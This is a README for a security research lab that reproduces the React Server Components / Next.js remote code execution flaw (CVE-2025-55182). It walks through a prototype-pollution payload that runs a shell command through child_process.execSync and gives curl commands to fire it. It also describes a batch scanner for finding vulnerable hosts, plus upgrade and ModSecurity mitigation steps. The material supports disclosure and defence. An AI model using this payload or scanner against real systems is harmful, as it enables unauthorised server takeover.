CVE-2025-55182 / CVE-2025-66478 Vulnerability Reproduction Environment

This is a minimal MVP for reproducing the React2Shell (CVE-2025-55182) and Next.js RSC RCE (CVE-2025-66478) vulnerabilities.

⚠️ Warning

This project is intended for security research and educational purposes only. Do not use it in production environments or on unauthorized systems.

Vulnerability Overview

CVE-2025-55182 is a critical vulnerability in React Server Components, affecting:

• React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
• Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Attack Principle

1. Obtain Chunk Reference: Use the $@N syntax to get the internal Chunk object
2. Prototype Pollution: Inject a malicious then method via $1:__proto__:then
3. Trigger Execution: The Server Action calls the polluted then method during await
4. Constructor Hijacking: Hijack _formData.get to the Function constructor
5. Code Execution: Execute arbitrary code via Blob deserialization

Quick Start

1. Install Dependencies

npm install
# or
yarn install
# or
pnpm install

2. Start the Development Server

npm run dev

The server will start at http://localhost:3000.

3. Test the Vulnerability

Use the provided test script:

# Test a single target
./test-exploit.sh http://localhost:3000

# Or directly with curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

If the vulnerability exists, you will see output like uid= in the response (the result of the id command).

File Structure

.
├── app/
│   ├── actions.ts              # Server Actions (vulnerability trigger point)
│   ├── page.tsx                # Main page
│   ├── layout.tsx              # Layout
│   └── globals.css             # Global styles
├── package.json                # Dependency configuration (using affected versions)
├── next.config.js              # Next.js configuration
├── test-exploit.sh             # Single-target vulnerability test script
├── scan-targets.sh             # Batch scanning script
├── exploit-payload.txt         # Exploit payload file
├── Cve-2025-55182-modsecurity-rules.conf      # ModSecurity protection rules
└── README.md                   # This file

Test Script Explanation

1. test-exploit.sh - Single Target Test

Tests whether a single URL is vulnerable:

chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Indicator: If the response contains uid= or gid=, the vulnerability exists.

2. scan-targets.sh - Batch Scanning

Scan multiple target URLs in batch:

# Create target list file
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Run batch scan
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

The scan results will be saved to vulnerable_hosts.csv.

Payload Structure Analysis

{
  "then": "$1:__proto__:then",           // Hijack the then method
  "status": "resolved_model",             // Control execution path
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // Trigger Blob deserialization
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // Hijack to Function
    }
  }
}

Key Points:

1. $@0: References the first form-data field to get the Chunk object
2. $1:proto:then: Accesses Chunk.prototype.then
3. _response._prefix: Injected malicious code (executed by the Function constructor)
4. $1:constructor:constructor: Object.constructor.constructor = Function

Fixes

Option 1: Upgrade to the Fixed Version (Recommended)

• React: 19.0.1, 19.1.2, 19.2.1 or later
• Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 or later

npm install [email protected] [email protected] [email protected]

Option 2: Deploy ModSecurity WAF Rules (Temporary Mitigation)

If you cannot upgrade immediately, you can deploy ModSecurity rules for temporary mitigation.

Apache + mod_security

# 1. Install mod_security
sudo apt-get install libapache2-mod-security2

# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Include the rules in Apache config
sudo vim /etc/apache2/mods-enabled/security2.conf
# Add: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Restart Apache
sudo systemctl restart apache2

Nginx + ModSecurity

# 1. Install ModSecurity for Nginx
sudo apt-get install libnginx-mod-security

# 2. Copy the rules file
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Enable in Nginx config
sudo vim /etc/nginx/nginx.conf
# Add in http or server block:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Restart Nginx
sudo systemctl restart nginx

Rule Detection Features

ModSecurity rules will block the following characteristics:

• ✅ Flight Protocol patterns ($@N, $BN)
• ✅ Prototype pollution (__proto__, constructor:constructor)
• ✅ Dangerous Node.js module calls (process.mainModule.require, require('child_process'))
• ✅ Command execution functions (execSync, exec)
• ✅ Internal object manipulation (_response, _chunks, _formData, _prefix)
• ✅ Server Action headers (Next-Action, RSC-Action-ID)

⚠️ Note: WAF rules are only a temporary mitigation measure and do not provide complete protection. Upgrading to the fixed version is necessary.

Security Recommendations

If your application may be affected:

1. Immediately Test: Use the test-exploit.sh script to test your application
2. Immediately Upgrade: Upgrade to the fixed version
3. Rotate Secrets: Rotate all environment variables, API keys, database passwords
4. Audit Logs: Check access logs for suspicious Next-Action requests
5. Deploy WAF: Deploy ModSecurity rules as temporary protection before upgrading

Quick Test Curl Command

If you want to test directly with curl (without scripts):

curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

If the response contains uid= or gid=, the vulnerability exists.

References

• Vercel Official Announcement
• React GHSA
• Next.js GHSA
• CVE PoC (React)
• CVE Scanner (Next.js)
• ModSecurity Documentation

Acknowledgments

• Lachlan Davidson - Discovered and responsibly reported the vulnerability
• Meta Security & React Team
• Vercel Team

License

This project is for educational purposes only. Please comply with relevant laws and regulations when using this code.